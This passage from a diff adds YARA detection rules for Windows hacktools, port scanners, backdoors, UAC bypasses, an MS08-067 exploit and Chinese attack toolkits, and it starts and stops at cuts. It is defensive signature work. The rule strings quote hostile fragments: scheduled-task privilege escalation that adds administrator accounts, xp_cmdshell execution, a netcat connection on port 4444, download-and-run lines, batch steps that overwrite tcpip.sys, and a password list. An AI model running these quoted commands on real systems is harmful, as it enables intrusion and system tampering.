+		$s0 = "This program was made by Volker Voss"
+		$s1 = "JiBOo~SSB"
+	condition:
+		all of them
+}
+
+rule scanarator_iis {
+	meta:
+		description = "Auto-generated rule on file iis.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "3a8fc02c62c8dd65e038cc03e5451b6e"
+	strings:
+		$s0 = "example: iis 10.10.10.10"
+		$s1 = "send error"
+	condition:
+		all of them
+}
+
+rule stealth_Stealth {
+	meta:
+		description = "Auto-generated rule on file Stealth.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "8ce3a386ce0eae10fc2ce0177bbc8ffa"
+	strings:
+		$s3 = "<table width=\"60%\" bgcolor=\"black\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" bordercolor=\"white\"><tr><td>"
+		$s6 = "This tool may be used only by system administrators. I am not responsible for "
+	condition:
+		all of them
+}
+
+rule Angry_IP_Scanner_v2_08_ipscan {
+	meta:
+		description = "Auto-generated rule on file ipscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "70cf2c09776a29c3e837cb79d291514a"
+	strings:
+		$s0 = "_H/EnumDisplay/"
+		$s5 = "ECTED.MSVCRT0x"
+		$s8 = "NotSupported7"
+	condition:
+		all of them
+}
+
+rule crack_Loader {
+	meta:
+		description = "Auto-generated rule on file Loader.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "f4f79358a6c600c1f0ba1f7e4879a16d"
+	strings:
+		$s0 = "NeoWait.exe"
+		$s1 = "RRRRRRRW"
+	condition:
+		all of them
+}
+
+rule CN_GUI_Scanner {
+	meta:
+		description = "Detects an unknown GUI scanner tool - CN background"
+		author = "Florian Roth"
+		hash = "3c67bbb1911cdaef5e675c56145e1112"
+		score = 65
+		date = "04.10.2014"
+	strings:
+		$s1 = "good.txt" fullword ascii
+		$s2 = "IP.txt" fullword ascii
+		$s3 = "xiaoyuer" fullword ascii
+		$s0w = "ssh(" fullword wide
+		$s1w = ").exe" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Packed_Scanner {
+	meta:
+		description = "Suspiciously packed executable"
+		author = "Florian Roth"
+		hash = "6323b51c116a77e3fba98f7bb7ff4ac6"
+		score = 40
+		date = "06.10.2014"
+	strings:
+		$s1 = "kernel32.dll" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "__GetMainArgs" fullword ascii
+		$s4 = "WS2_32.DLL" fullword ascii
+	condition:
+		all of them and filesize < 180KB and filesize > 70KB
+}
+
+rule Tiny_Network_Tool_Generic {
+	meta:
+		description = "Tiny tool with suspicious function imports. (Rule based on WinEggDrop Scanner samples)"
+		author = "Florian Roth"
+		date = "08.10.2014"
+		score = 40
+		type = "file"
+		hash0 = "9e1ab25a937f39ed8b031cd8cfbc4c07"
+		hash1 = "cafc31d39c1e4721af3ba519759884b9"
+		hash2 = "8e635b9a1e5aa5ef84bfa619bd2a1f92"
+	strings:
+		$magic	= { 4d 5a }
+
+		$s0 = "KERNEL32.DLL" fullword ascii
+		$s1 = "CRTDLL.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+
+		$y1 = "WININET.DLL" fullword ascii
+		$y2 = "atoi" fullword ascii
+
+		$x1 = "ADVAPI32.DLL" fullword ascii
+		$x2 = "USER32.DLL" fullword ascii
+		$x3 = "wsock32.dll" fullword ascii
+		$x4 = "FreeSid" fullword ascii
+		$x5 = "atoi" fullword ascii
+
+		$z1 = "ADVAPI32.DLL" fullword ascii
+		$z2 = "USER32.DLL" fullword ascii
+		$z3 = "FreeSid" fullword ascii
+		$z4 = "ToAscii" fullword ascii
+
+	condition:
+		( $magic at 0 ) and all of ($s*) and ( all of ($y*) or all of ($x*) or all of ($z*) ) and filesize < 15KB
+}
+
+rule Beastdoor_Backdoor {
+	meta:
+		description = "Detects the backdoor Beastdoor"
+		author = "Florian Roth"
+		score = 55
+		hash = "5ab10dda548cb821d7c15ebcd0a9f1ec6ef1a14abcc8ad4056944d060c49535a"
+	strings:
+		$s0 = "Redirect SPort RemoteHost RPort  -->Port Redirector" fullword
+		$s1 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword
+		$s2 = "http://IP/a.exe a.exe            -->Download A File" fullword
+		$s7 = "Host: wwp.mirabilis.com:80" fullword
+		$s8 = "%s -Set Port PortNumber              -->Set The Service Port" fullword
+		$s11 = "Shell                            -->Get A Shell" fullword
+		$s14 = "DeleteService ServiceName        -->Delete A Service" fullword
+		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword
+		$s17 = "%s -Set ServiceName ServiceName      -->Set The Service Name" fullword
+	condition:
+		2 of them
+}
+
+rule Powershell_Netcat {
+	meta:
+		description = "Detects a Powershell version of the Netcat network hacking tool"
+		author = "Florian Roth"
+		score = 60
+		date = "10.10.2014"
+	strings:
+		$s0 = "[ValidateRange(1, 65535)]" fullword
+		$s1 = "$Client = New-Object -TypeName System.Net.Sockets.TcpClient" fullword
+		$s2 = "$Buffer = New-Object -TypeName System.Byte[] -ArgumentList $Client.ReceiveBufferSize" fullword
+	condition:
+		all of them
+}
+
+rule Chinese_Hacktool_1014 {
+	meta:
+		description = "Detects a chinese hacktool with unknown use"
+		author = "Florian Roth"
+		score = 60
+		date = "10.10.2014"
+		hash = "98c07a62f7f0842bcdbf941170f34990"
+	strings:
+		$s0 = "IEXT2_IDC_HORZLINEMOVECURSOR" fullword wide
+		$s1 = "msctls_progress32" fullword wide
+		$s2 = "Reply-To: %s" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s4 = "html htm htx asp" fullword ascii
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_BAT_PortsOpen {
+	meta:
+		description = "Detects a chinese BAT hacktool for local port evaluation"
+		author = "Florian Roth"
+		score = 60
+		date = "12.10.2014"
+	strings:
+		$s0 = "for /f \"skip=4 tokens=2,5\" %%a in ('netstat -ano -p TCP') do (" ascii
+		$s1 = "in ('tasklist /fi \"PID eq %%b\" /FO CSV') do " ascii
+		$s2 = "@echo off" ascii
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_SSPort_Portscanner {
+	meta:
+		description = "Detects a chinese Portscanner named SSPort"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "Golden Fox" fullword wide
+		$s1 = "Syn Scan Port" fullword wide
+		$s2 = "CZ88.NET" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_ScanPort_Portscanner {
+	meta:
+		description = "Detects a chinese Portscanner named ScanPort"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "LScanPort" fullword wide
+		$s1 = "LScanPort Microsoft" fullword wide
+		$s2 = "www.yupsoft.com" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_S_EXE_Portscanner {
+	meta:
+		description = "Detects a chinese Portscanner named s.exe"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "\\Result.txt" fullword ascii
+		$s1 = "By:ZT QQ:376789051" fullword ascii
+		$s2 = "(http://www.eyuyan.com)" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_MilkT_BAT {
+	meta:
+		description = "Detects a chinese Portscanner named MilkT - shipped BAT"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" ascii
+		$s1 = "if not \"%Choice%\"==\"\" set Choice=%Choice:~0,1%" ascii
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_MilkT_Scanner {
+	meta:
+		description = "Detects a chinese Portscanner named MilkT"
+		author = "Florian Roth"
+		score = 60
+		date = "12.10.2014"
+	strings:
+		$s0 = "Bf **************" ascii fullword
+		$s1 = "forming Time: %d/" ascii
+		$s2 = "KERNEL32.DLL" ascii fullword
+		$s3 = "CRTDLL.DLL" ascii fullword
+		$s4 = "WS2_32.DLL" ascii fullword
+		$s5 = "GetProcAddress" ascii fullword
+		$s6 = "atoi" ascii fullword
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_1433_Scanner {
+	meta:
+		description = "Detects a chinese MSSQL scanner"
+		author = "Florian Roth"
+		score = 40
+		date = "12.10.2014"
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "1433" wide fullword
+		$s1 = "1433V" wide
+		$s2 = "del Weak1.txt" ascii fullword
+		$s3 = "del Attack.txt" ascii fullword
+		$s4 = "del /s /Q C:\\Windows\\system32\\doors\\" fullword ascii
+		$s5 = "!&start iexplore http://www.crsky.com/soft/4818.html)" fullword ascii
+	condition:
+		( $magic at 0 ) and all of ($s*)
+}
+
+rule CN_Hacktool_1433_Scanner_Comp2 {
+	meta:
+		description = "Detects a chinese MSSQL scanner - component 2"
+		author = "Florian Roth"
+		score = 40
+		date = "12.10.2014"
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "1433" wide fullword
+		$s1 = "1433V" wide
+		$s2 = "UUUMUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUMUUU" ascii fullword
+	condition:
+		( $magic at 0 ) and all of ($s*)
+}
+
+rule WCE_Modified_1_1014 {
+	meta:
+		description = "Modified (packed) version of Windows Credential Editor"
+		author = "Florian Roth"
+		hash = "09a412ac3c85cedce2642a19e99d8f903a2e0354"
+		score = 70
+	strings:
+		$s0 = "LSASS.EXE" fullword ascii
+		$s1 = "_CREDS" ascii
+		$s9 = "Using WCE " ascii
+	condition:
+		all of them
+}
+
+rule ReactOS_cmd_valid {
+	meta:
+		description = "ReactOS cmd.exe with correct file name - maybe packed with software or part of hacker toolset"
+		author = "Florian Roth"
+		date = "05.11.14"
+		reference = "http://www.elifulkerson.com/articles/suzy-sells-cmd-shells.php"
+		score = 30
+		hash = "b88f050fa69d85af3ff99af90a157435296cbb6e"
+	strings:
+		$s1 = "ReactOS Command Processor" fullword wide
+		$s2 = "Copyright (C) 1994-1998 Tim Norman and others" fullword wide
+		$s3 = "Eric Kohl and others" fullword wide
+		$s4 = "ReactOS Operating System" fullword wide
+	condition:
+		all of ($s*)
+}
+
+rule iKAT_wmi_rundll {
+	meta:
+		description = "This exe will attempt to use WMI to Call the Win32_Process event to spawn rundll - file wmi_rundll.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 65
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "97c4d4e6a644eed5aa12437805e39213e494d120"
+	strings:
+		$s0 = "This operating system is not supported." fullword ascii
+		$s1 = "Error!" fullword ascii
+		$s2 = "Win32 only!" fullword ascii
+		$s3 = "COMCTL32.dll" fullword ascii
+		$s4 = "[LordPE]" ascii
+		$s5 = "CRTDLL.dll" fullword ascii
+		$s6 = "VBScript" fullword ascii
+		$s7 = "CoUninitialize" fullword ascii
+	condition:
+		all of them and filesize < 15KB
+}
+
+rule iKAT_revelations {
+	meta:
+		description = "iKAT hack tool showing the content of password fields - file revelations.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 75
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "c4e217a8f2a2433297961561c5926cbd522f7996"
+	strings:
+		$s0 = "The RevelationHelper.DLL file is corrupt or missing." fullword ascii
+		$s8 = "BETAsupport@snadboy.com" fullword wide
+		$s9 = "support@snadboy.com" fullword wide
+		$s14 = "RevelationHelper.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule iKAT_priv_esc_tasksch {
+	meta:
+		description = "Task Schedulder Local Exploit - Windows local priv-esc using Task Scheduler, published by webDevil. Supports Windows 7 and Vista."
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 75
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "84ab94bff7abf10ffe4446ff280f071f9702cf8b"
+	strings:
+		$s0 = "objShell.Run \"schtasks /change /TN wDw00t /disable\",,True" fullword ascii
+		$s3 = "objShell.Run \"schtasks /run /TN wDw00t\",,True" fullword ascii
+		$s4 = "'objShell.Run \"cmd /c copy C:\\windows\\system32\\tasks\\wDw00t .\",,True" fullword ascii
+		$s6 = "a.WriteLine (\"schtasks /delete /f /TN wDw00t\")" fullword ascii
+		$s7 = "a.WriteLine (\"net user /add ikat ikat\")" fullword ascii
+		$s8 = "a.WriteLine (\"cmd.exe\")" fullword ascii
+		$s9 = "strFileName=\"C:\\windows\\system32\\tasks\\wDw00t\"" fullword ascii
+		$s10 = "For n = 1 To (Len (hexXML) - 1) step 2" fullword ascii
+		$s13 = "output.writeline \" Should work on Vista/Win7/2008 x86/x64\"" fullword ascii
+		$s11 = "Set objExecObject = objShell.Exec(\"cmd /c schtasks /query /XML /TN wDw00t\")" fullword ascii
+		$s12 = "objShell.Run \"schtasks /create /TN wDw00t /sc monthly /tr \"\"\"+biatchFile+\"" ascii
+		$s14 = "a.WriteLine (\"net localgroup administrators /add v4l\")" fullword ascii
+		$s20 = "Set ts = fso.createtextfile (\"wDw00t.xml\")" fullword ascii
+	condition:
+		2 of them
+}
+
+rule iKAT_command_lines_agent {
+	meta:
+		description = "iKAT hack tools set agent - file ikat.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 75
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "c802ee1e49c0eae2a3fc22d2e82589d857f96d94"
+	strings:
+		$s0 = "Extended Module: super mario brothers" fullword ascii
+		$s1 = "Extended Module: " fullword ascii
+		$s3 = "ofpurenostalgicfeeling" fullword ascii
+		$s8 = "-supermariobrotheretic" fullword ascii
+		$s9 = "!http://132.147.96.202:80" fullword ascii
+		$s12 = "iKAT Exe Template" fullword ascii
+		$s15 = "withadancyflavour.." fullword ascii
+		$s16 = "FastTracker v2.00   " fullword ascii
+	condition:
+		4 of them
+}
+
+rule iKAT_cmd_as_dll {
+	meta:
+		description = "iKAT toolset file cmd.dll ReactOS file cloaked"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 65
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "b5d0ba941efbc3b5c97fe70f70c14b2050b8336a"
+	strings:
+		$s1 = "cmd.exe" fullword wide
+		$s2 = "ReactOS Development Team" fullword wide
+		$s3 = "ReactOS Command Processor" fullword wide
+
+		$ext = "extension: .dll" nocase
+	condition:
+		all of ($s*) and $ext
+}
+
+rule iKAT_tools_nmap {
+	meta:
+		description = "Generic rule for NMAP - based on NMAP 4 standalone"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 50
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "d0543f365df61e6ebb5e345943577cc40fca8682"
+	strings:
+		$s0 = "Insecure.Org" fullword wide
+		$s1 = "Copyright (c) Insecure.Com" fullword wide
+		$s2 = "nmap" fullword nocase
+		$s3 = "Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm)." ascii
+	condition:
+		all of them
+}
+
+rule iKAT_startbar {
+	meta:
+		description = "Tool to hide unhide the windows startbar from command line - iKAT hack tools - file startbar.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 50
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "0cac59b80b5427a8780168e1b85c540efffaf74f"
+	strings:
+		$s2 = "Shinysoft Limited1" fullword ascii
+		$s3 = "Shinysoft Limited0" fullword ascii
+		$s4 = "Wellington1" fullword ascii
+		$s6 = "Wainuiomata1" fullword ascii
+		$s8 = "56 Wright St1" fullword ascii
+		$s9 = "UTN-USERFirst-Object" fullword ascii
+		$s10 = "New Zealand1" fullword ascii
+	condition:
+		all of them
+}
+
+rule iKAT_Tool_Generic {
+	meta:
+		description = "Generic Rule for hack tool iKAT files gpdisable.exe, kitrap0d.exe, uacpoc.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 55
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		super_rule = 1
+		hash0 = "814c126f21bc5e993499f0c4e15b280bf7c1c77f"
+		hash1 = "75f5aed1e719443a710b70f2004f34b2fe30f2a9"
+		hash2 = "b65a460d015fd94830d55e8eeaf6222321e12349"
+	strings:
+		$s0 = "<IconFile>C:\\WINDOWS\\App.ico</IconFile>" fullword
+		$s1 = "Failed to read the entire file" fullword
+		$s4 = "<VersionCreatedBy>14.4.0</VersionCreatedBy>" fullword
+		$s8 = "<ProgressCaption>Run &quot;executor.bat&quot; once the shell has spawned.</P"
+		$s9 = "Running Zip pipeline..." fullword
+		$s10 = "<FinTitle />" fullword
+		$s12 = "<AutoTemp>0</AutoTemp>" fullword
+		$s14 = "<DefaultDir>%TEMP%</DefaultDir>" fullword
+		$s15 = "AES Encrypting..." fullword
+		$s20 = "<UnzipDir>%TEMP%</UnzipDir>" fullword
+	condition:
+		all of them
+}
+
+rule BypassUac2 {
+	meta:
+		description = "Auto-generated rule - file BypassUac2.zip"
+		author = "yarGen Yara Rule Generator"
+		hash = "ef3e7dd2d1384ecec1a37254303959a43695df61"
+	strings:
+		$s0 = "/BypassUac/BypassUac/BypassUac_Utils.cpp" fullword ascii
+		$s1 = "/BypassUac/BypassUacDll/BypassUacDll.aps" fullword ascii
+		$s3 = "/BypassUac/BypassUac/BypassUac.ico" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUac_3 {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.dll"
+		author = "yarGen Yara Rule Generator"
+		hash = "1974aacd0ed987119999735cad8413031115ce35"
+	strings:
+		$s0 = "BypassUacDLL.dll" fullword wide
+		$s1 = "\\Release\\BypassUacDll" ascii
+		$s3 = "Win7ElevateDLL" fullword wide
+		$s7 = "BypassUacDLL" fullword wide
+	condition:
+		3 of them
+}
+
+rule BypassUac_9 {
+	meta:
+		description = "Auto-generated rule - file BypassUac.zip"
+		author = "yarGen Yara Rule Generator"
+		hash = "93c2375b2e4f75fc780553600fbdfd3cb344e69d"
+	strings:
+		$s0 = "/x86/BypassUac.exe" fullword ascii
+		$s1 = "/x64/BypassUac.exe" fullword ascii
+		$s2 = "/x86/BypassUacDll.dll" fullword ascii
+		$s3 = "/x64/BypassUacDll.dll" fullword ascii
+		$s15 = "BypassUac" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUacDll_6 {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+	strings:
+		$s3 = "BypassUacDLL.dll" fullword wide
+		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUacDll_7 {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+	strings:
+		$s3 = "BypassUacDLL.dll" fullword wide
+		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
+	condition:
+		all of them
+}
+
+rule BypassUac_EXE {
+	meta:
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+	strings:
+		$s1 = "Wole32.dll" wide
+		$s3 = "System32\\migwiz" wide
+		$s4 = "System32\\migwiz\\CRYPTBASE.dll" wide
+		$s5 = "Elevation:Administrator!new:" wide
+		$s6 = "BypassUac" wide
+	condition:
+		all of them
+}
+
+rule APT_Proxy_Malware_Packed_dev
+{
+	meta:
+		author = "FRoth"
+		date = "2014-11-10"
+		description = "APT Malware - Proxy"
+		hash = "6b6a86ceeab64a6cb273debfa82aec58"
+		score = 50
+	strings:
+		$string0 = "PECompact2" fullword
+		$string1 = "[LordPE]"
+		$string2 = "steam_ker.dll"
+	condition:
+		all of them
+}
+
+rule Tzddos_DDoS_Tool_CN {
+	meta:
+		description = "Disclosed hacktool set - file tzddos"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "d4c517eda5458247edae59309453e0ae7d812f8e"
+	strings:
+		$s0 = "for /f %%a in (host.txt) do (" fullword ascii
+		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+		$s2 = "del host.txt /q" fullword ascii
+		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s4 = "start Http.exe %%a %http%" fullword ascii
+		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+		$s6 = "del Result.txt s2.txt s1.txt " fullword ascii
+	condition:
+		all of them
+}
+
+rule Ncat_Hacktools_CN {
+	meta:
+		description = "Disclosed hacktool set - file nc.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "001c0c01c96fa56216159f83f6f298755366e528"
+	strings:
+		$s0 = "nc -l -p port [options] [hostname] [port]" fullword ascii
+		$s2 = "nc [-options] hostname port[s] [ports] ... " fullword ascii
+		$s3 = "gethostpoop fuxored" fullword ascii
+		$s6 = "VERNOTSUPPORTED" fullword ascii
+		$s7 = "%s [%s] %d (%s)" fullword ascii
+		$s12 = " `--%s' doesn't allow an argument" fullword ascii
+	condition:
+		all of them
+}
+
+rule MS08_067_Exploit_Hacktools_CN {
+	meta:
+		description = "Disclosed hacktool set - file cs.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "a3e9e0655447494253a1a60dbc763d9661181322"
+	strings:
+		$s0 = "MS08-067 Exploit for CN by EMM@ph4nt0m.org" fullword ascii
+		$s3 = "Make SMB Connection error:%d" fullword ascii
+		$s5 = "Send Payload Over!" fullword ascii
+		$s7 = "Maybe Patched!" fullword ascii
+		$s8 = "RpcExceptionCode() = %u" fullword ascii
+		$s11 = "ph4nt0m" fullword wide
+		$s12 = "\\\\%s\\IPC" ascii
+	condition:
+		4 of them
+}
+
+rule Hacktools_CN_Burst_sql {
+	meta:
+		description = "Disclosed hacktool set - file sql.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "d5139b865e99b7a276af7ae11b14096adb928245"
+	strings:
+		$s0 = "s.exe %s %s %s %s %d /save" fullword ascii
+		$s2 = "s.exe start error...%d" fullword ascii
+		$s4 = "EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'" fullword ascii
+		$s7 = "EXEC master..xp_cmdshell 'wscript.exe cc.js'" fullword ascii
+		$s10 = "Result.txt" fullword ascii
+		$s11 = "Usage:sql.exe [options]" fullword ascii
+		$s17 = "%s root %s %d error" fullword ascii
+		$s18 = "Pass.txt" fullword ascii
+		$s20 = "SELECT sillyr_at_gmail_dot_com INTO DUMPFILE '%s\\\\sillyr_x.so' FROM sillyr_x" fullword ascii
+	condition:
+		6 of them
+}
+
+rule Hacktools_CN_Panda_445TOOL {
+	meta:
+		description = "Disclosed hacktool set - file 445TOOL.rar"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "92050ba43029f914696289598cf3b18e34457a11"
+	strings:
+		$s0 = "scan.bat" fullword ascii
+		$s1 = "Http.exe" fullword ascii
+		$s2 = "GOGOGO.bat" fullword ascii
+		$s3 = "ip.txt" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_Panda_445 {
+	meta:
+		description = "Disclosed hacktool set - file 445.rar"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "a61316578bcbde66f39d88e7fc113c134b5b966b"
+	strings:
+		$s0 = "for /f %%i in (ips.txt) do (start cmd.bat %%i)" fullword ascii
+		$s1 = "445\\nc.exe" fullword ascii
+		$s2 = "445\\s.exe" fullword ascii
+		$s3 = "cs.exe %1" fullword ascii
+		$s4 = "445\\cs.exe" fullword ascii
+		$s5 = "445\\ip.txt" fullword ascii
+		$s6 = "445\\cmd.bat" fullword ascii
+		$s9 = "@echo off" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_WinEggDrop {
+	meta:
+		description = "Disclosed hacktool set - file s.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "7665011742ce01f57e8dc0a85d35ec556035145d"
+	strings:
+		$s0 = "Normal Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+		$s2 = "SYN Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+		$s6 = "Example: %s TCP 12.12.12.12 12.12.12.254 21 512 /Banner" fullword ascii
+		$s8 = "Something Wrong About The Ports" fullword ascii
+		$s9 = "Performing Time: %d/%d/%d %d:%d:%d --> " fullword ascii
+		$s10 = "Example: %s TCP 12.12.12.12/24 80 512 /T8 /Save" fullword ascii
+		$s12 = "%u Ports Scanned.Taking %d Threads " fullword ascii
+		$s13 = "%-16s %-5d -> \"%s\"" fullword ascii
+		$s14 = "SYN Scan Can Only Perform On WIN 2K Or Above" fullword ascii
+		$s17 = "SYN Scan: About To Scan %s:%d Using %d Thread" fullword ascii
+		$s18 = "Scan %s Complete In %d Hours %d Minutes %d Seconds. Found %u Open Ports" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Scan_BAT {
+	meta:
+		description = "Disclosed hacktool set - file scan.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "6517d7c245f1300e42f7354b0fe5d9666e5ce52a"
+	strings:
+		$s0 = "for /f %%a in (host.txt) do (" fullword ascii
+		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+		$s2 = "del host.txt /q" fullword ascii
+		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s4 = "start Http.exe %%a %http%" fullword ascii
+		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+	condition:
+		5 of them
+}
+
+rule Hacktools_CN_Panda_Burst {
+	meta:
+		description = "Disclosed hacktool set - file Burst.rar"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "ce8e3d95f89fb887d284015ff2953dbdb1f16776"
+	strings:
+		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http://60.15.124.106:63389/tasksvr." ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_445_cmd {
+	meta:
+		description = "Disclosed hacktool set - file cmd.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "69b105a3aec3234819868c1a913772c40c6b727a"
+	strings:
+		$bat = "@echo off" fullword ascii
+		$s0 = "cs.exe %1" fullword ascii
+		$s2 = "nc %1 4444" fullword ascii
+	condition:
+		$bat at 0 and all of ($s*)
+}
+
+rule Hacktools_CN_GOGOGO_Bat {
+	meta:
+		description = "Disclosed hacktool set - file GOGOGO.bat"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "4bd4f5b070acf7fe70460d7eefb3623366074bbd"
+	strings:
+		$s0 = "for /f \"delims=\" %%x in (endend.txt) do call :lisoob %%x" fullword ascii
+		$s1 = "http://www.tzddos.com/ -------------------------------------------->byebye.txt" fullword ascii
+		$s2 = "ren %systemroot%\\system32\\drivers\\tcpip.sys tcpip.sys.bak" fullword ascii
+		$s4 = "IF /I \"%wangle%\"==\"\" ( goto start ) else ( goto erromm )" fullword ascii
+		$s5 = "copy *.tzddos scan.bat&del *.tzddos" fullword ascii
+		$s6 = "del /f tcpip.sys" fullword ascii
+		$s9 = "if /i \"%CB%\"==\"www.tzddos.com\" ( goto mmbat ) else ( goto wangle )" fullword ascii
+		$s10 = "call scan.bat" fullword ascii
+		$s12 = "IF /I \"%erromm%\"==\"\" ( goto start ) else ( goto zuihoujh )" fullword ascii
+		$s13 = "IF /I \"%zuihoujh%\"==\"\" ( goto start ) else ( goto laji )" fullword ascii
+		$s18 = "sc config LmHosts start= auto" fullword ascii
+		$s19 = "copy tcpip.sys %systemroot%\\system32\\drivers\\tcpip.sys > nul" fullword ascii
+		$s20 = "ren %systemroot%\\system32\\dllcache\\tcpip.sys tcpip.sys.bak" fullword ascii
+	condition:
+		3 of them
+}
+
+rule Hacktools_CN_Burst_pass {
+	meta:
+		description = "Disclosed hacktool set - file pass.txt"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "55a05cf93dbd274355d798534be471dff26803f9"
+	strings:
+		$s0 = "123456.com" fullword ascii
+		$s1 = "123123.com" fullword ascii
+		$s2 = "360.com" fullword ascii
+		$s3 = "123.com" fullword ascii
+		$s4 = "juso.com" fullword ascii
+		$s5 = "sina.com" fullword ascii
+		$s7 = "changeme" fullword ascii
+		$s8 = "master" fullword ascii
+		$s9 = "google.com" fullword ascii
+		$s10 = "chinanet" fullword ascii
+		$s12 = "lionking" fullword ascii
+	condition:
+		all of them
+}
+
+rule Hacktools_CN_JoHor_Posts_Killer {
+	meta:
+		description = "Disclosed hacktool set - file JoHor_Posts_Killer.exe"
+		author = "Florian Roth"
+		date = "17.11.14"
+		score = 60
+		hash = "d157f9a76f9d72dba020887d7b861a05f2e56b6a"
+	strings:
+		$s0 = "Multithreading Posts_Send Killer" fullword ascii
+		$s3 = "GET [Access Point] HTTP/1.1" fullword ascii
+		$s6 = "The program's need files was not exist!" fullword ascii
+		$s7 = "JoHor_Posts_Killer" fullword wide
+		$s8 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
